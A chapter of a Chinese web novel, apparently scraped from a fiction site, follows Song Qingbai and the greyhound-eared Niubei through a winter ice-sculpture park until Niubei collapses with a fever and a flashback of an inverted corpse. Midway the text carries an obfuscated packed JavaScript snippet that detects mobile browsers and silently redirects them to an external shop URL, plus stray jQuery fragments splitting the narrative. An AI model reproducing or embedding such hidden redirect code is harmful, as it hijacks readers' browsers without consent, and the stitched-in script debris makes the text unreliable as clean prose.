金阳市从新历200年起转变发展策略,重点发展旅游业。
历经四十余年,成果显著。
一大清早,想随便吃个早饭的两人被街上的人流量惊到。
纽贝拽紧了身前人的手掌,小尾巴一样亦步亦趋跟在宋青柏身后。
他今天没有戴帽子,只围了条围巾,围巾刚刚好盖到鼻尖下一点。
有段时间没剪的头发落在围巾上。
乍一眼从背后分不出性别。
宋青柏把纽贝护进自己的怀中,撑起手臂在人群中围出空间,带着纽贝躲过人群若有若无的挤蹭。
纽贝脑后耳朵被宋青柏脸颊蹭地痒痒的。
他往后仰了仰头,隔着耳朵蹭了回去。
腰侧被不轻不重拍了下,纽贝猫儿偷腥似的笑着又站直身子。
等两人顶着人流终于吃完早餐回到宾馆之后,已经是一个半小时以后。
纽贝坐在进门处看着宋青柏往手里的背包收拾东西,“这是什么?”
宋青柏手里拿着一本书,深黑色的封面上写着《拉伦蒂亚联邦刑法(便携版)》。
“在为工作做准备。”纽贝伸手挠了挠自己的脸颊,他知道自己是宋青柏助教的时候,终于理解为什么他的房间里有这么多法律相关的书籍。
本着认真负责想早日复工的态度,他已经趁着宋青柏不在家的时候看了不少书架上的书。
“工作?”
“对啊,”纽贝觉得宋青柏过于惊讶了,“总不能一直待在家里,我现在身体没什么大问题,早晚是要去帮你的呀。”
纽贝低头摇弄自己手里刚刚早餐完买回来的冰雕花灯,悄悄吐了吐舌头。
好吧其实不是为了给宋青柏帮忙,主要是为了满足他自己的好奇心。
他避开宋青柏的视线,避免被对方瞧出破绽。
宋青柏也没多注意纽贝的反应,他意识到自己反应过度。
宋青柏尽可能自然地把这本刑法书重新放回到行李箱底层,翻出放在旁边的护膝。
“我摸摸膝盖,”宋青柏走过去把护膝放在门口的柜子上,单手环住纽贝的腰把人提起来,另一只手把纽贝刚出门的两层裤子褪到膝下。
宋青柏单手把人抱在身上,又把挂在门口的外套扯下来铺在柜子上,才把怀里的人放上去。
左膝的肌肉摸起来状态还好,没有明显的抽搐。宋青柏以防万一又摸了摸暂时没出过问题的右膝,也没什么问题。
他松了口气,故技重施把小狗裤子提上又给人放在门口。
纽贝慢悠悠拨弄着那盏花灯,对于这一同摆弄没有任何不适。
青哥的力度从来不会弄疼自己,小狗很放心把自己的身体交到对方手里。
两副护膝最后也被塞进宋青柏提着的背包里。
他牵着小狗的手,如约抵达了提前预订的景点。
远远看见由晶莹剔透的冰砖砌成的拱形门。
那扇由冰雕琢成的大门,仿佛隔开了两个世界。一脚过线,充斥着混乱与压力的现实世界被满是童趣与幻想的冰雪世界替代。
街道两旁精致的冰雕建筑,冰雪为墨,寒风为笔,为每一位远道而来的客人勾勒出一篇远离现实的奇幻世界。
纽贝明显爱极了,他从宋青柏口袋里摸出自己的苹果发夹。
苹果发夹被一只暖呼呼的小狗爪放到了宋青柏的手里,另一边挂着两只长耳朵的头递到了宋青柏眼前。
“头发挡到我了。”
宋青柏瞳仁里倒映出小狗撒娇的样子,纯白世界的反光给他的脸蒙上一层错觉般的恋人之间的痴迷和爱恋。
又或许不是错觉。
他伸手温柔地帮小狗把长长的发丝夹在耳后。
“要不要回去剪头发?”
他摸摸小狗脑后钻进衣领杂乱无章的发尾,掏出一根缀着苹果装饰品的皮筋把落下来的头发扎好。
于是,纽贝脑后多了个圆鼓鼓的小发揪。
纽贝摇摇头,“不要。”
“不要?”宋青柏疑惑,自从小狗工作之后,头发就没留这么长过。
因为局里的规定,小狗的头发永远只留在眉毛上一点。每次长长一点,就急急忙忙要剪掉。
这么多年,他倒是第一次见到小狗头发这么长的样子。
“嗯,不要。”
纽贝摸摸发揪,重新确认了一遍。
宋青柏有些好奇,“为什么呢?喜欢长发?”他问。
“不告诉你。”小狗转着自己手里的花灯,拉了拉自己的围巾。
他声音很小,围巾又遮住了半边脸,嘟嘟囔囔的声音听起来像是撒娇。
宋青柏闭嘴不再追问这只随时随地撒娇的小狗,不然他觉得自己的心脏承受不住连绵的撒娇攻势。
纽贝偷偷又摸了下自己的发揪,他偷摸着在围巾下小小叹口气。
因为青哥喜欢他才要留的。
对方亲的最多的地方就是小狗的额角和发顶。
纽贝自然而然觉得对方喜欢这头软发。
虽然不方便,但决定回馈青哥对他的照顾的小狗暗下决心,要把头发留得长长的。
入园的队伍龟速挪动着。
今天是雪绒花节假期第一天,旅游的大部队应该还在路上。
即便如此,园区的速通人数也相当可观。
速通也排了好一阵儿,两人终于成功入园。
宋青柏担心纽贝的膝盖,想把人抱在自己怀里,被纽贝顶着胸膛拒绝。
“这里很多小孩的……”
纽贝提着花灯,小声咕哝。
话语间又是两个鳄鱼种非完人跑过去,身后跟着两位家长。
爱面子的纽贝趴在宋青柏的肩膀,他用手把自己的围巾往下拉拉,“而且我现在膝盖不疼。”
他不想被别人觉得他是一只娇气的小狗。
本身灵缇一族就因为耐力弱被诟病娇气,身为灵缇种的纽贝更觉得自己有义务修正这种形象。
他决定今天一天都不要成为被对方抱着的灵缇。
做一只坚强的灵缇!
小狗在心底如是说。
雪绒花节对金阳市来说,是冬季客流量最大的时候,五天的假期给足了他们时间将游客手里的钱尽收囊中。
冰雕乐园的服务态度也配得上盆满钵满的营收,光一个主题就至少五个游乐项目,还不算路边精致的造景。
想顺利玩完一个主题,至少几千步。
为了尽兴,纽贝当然要拽着宋青柏把每个主题都玩遍。
第一个主题后,小狗把护膝掏出来穿上。
第二个主题后,小狗叫嚣着肚子饿在旁边餐馆坐着吃完午餐才走。
第三个主题后,小狗一瘸一拐被宋青柏强制抱进怀里。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183390|149667||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>他把头埋在宋青柏颈窝里,围巾直接拉到头顶,主要是把两只耳朵包起来了,“青哥,我自己能走……”
从被抱起来开始,决定坚强的灵缇不死心念叨。
“啪!”
宋青柏一巴掌拍在灵缇屁股上。灵缇尾巴一翘,终于闭嘴,一声不吭被乖乖抱着往前走。
“……找个没人的地方再放我下来。”从围巾缝隙中看到外面世界的纽贝远远瞧见了下一个主题的入口。
他挠了挠身下人的后背,下意识收紧了自己的尾巴护在屁股上。
被尾巴这个动作搞得羞恼的小狗不开心。
他只是想要维护一下灵缇的印象怎么了!
回去他就要剪头!剪头——
脚踩到地面的小狗刚刚只顾着沉浸在自己的思绪里,完全忘记了看路。
他现在确实落地了,但他不知道这是在哪里。
形象二字迫使他重新一脑袋扎进身前人怀里,悄悄蹭到对方肩窝处,拉开围巾露了个头。
周围空无一人。
小狗抖抖身子站直,如愿以偿成功保护灵缇的形象。
“疼就是疼,不能忍也不需要忍,不要让我担心,知道吗?”
顺着纽贝蹭乱的头发,宋青柏嘱托道。
对方叮嘱的模样落在琥珀色的瞳孔里,小狗圈成圈的尾巴紧了又紧,心里麻麻的。
纽贝埋头牵着对方的手往入口走。
那他还是不剪头好了。
整个园区完全走完,已经是晚上9点了。
小狗晕晕乎乎趴在宋青柏怀里,念叨着要看九点半的灯光秀。
“还灯光秀呢,等会你就要睡着了。”
抱着小狗往外走的宋青柏加快步伐。
刚刚就不该纵容纽贝脱衣服。
自从半个小时前纽贝就越来越困倦。
宋青柏暗恨自己没抵住小狗的撒娇攻势,觉得实在是不应该。
万一回头感冒了——
怀里小狗半天没动静,宋青柏有了不好的预感。
他把怀里抱得紧紧的纽贝松开了些,拉下对方脸上的围巾。
摸到脸颊的宋青柏暗叹糟糕,烫手的耳朵——纽贝在发烧。
没有丝毫犹豫,他打横抱住小狗往几步之外的打车点跑。
这场高烧来得很突然,高温如同脱缰的野驹很快将纽贝的脸烧得通红。
白日那双漂亮澄明的琥珀色眸子里盈满泪水。
他坐在车座上拽着宋青柏的袖子,挣扎着说些什么,“是、尸体——”
他说。
“什么?”
宋青柏单手紧紧反握住那只无力发烫的手,语气匆忙“师傅麻烦去最近的医院,尽量快一点。”
在猛地窜出去的汽车中,宋青柏拥紧了怀里热度仍在攀升的小狗。
纽贝意识渐渐开始模糊,很多很多团模糊的记忆争相涌进他的大脑,他痛苦地捂住自己的头,两只长长的玫瑰耳斜落在脸侧,“……不是、在看、颠倒的世界——是尸体、倒吊的尸体……”
剧烈的疼痛仿佛尖锐的斧头劈开他的脑壳,一双无形的大手在他本就脆弱的记忆中翻弄。肩膀、膝盖以及胸腹处的疼痛接连而至,纽贝再难以坚持蜷缩身子撞进宋青柏的怀里。
生理性眼泪溢出眼眶。
“贝贝——纽贝!”
他的意识陷入黑暗。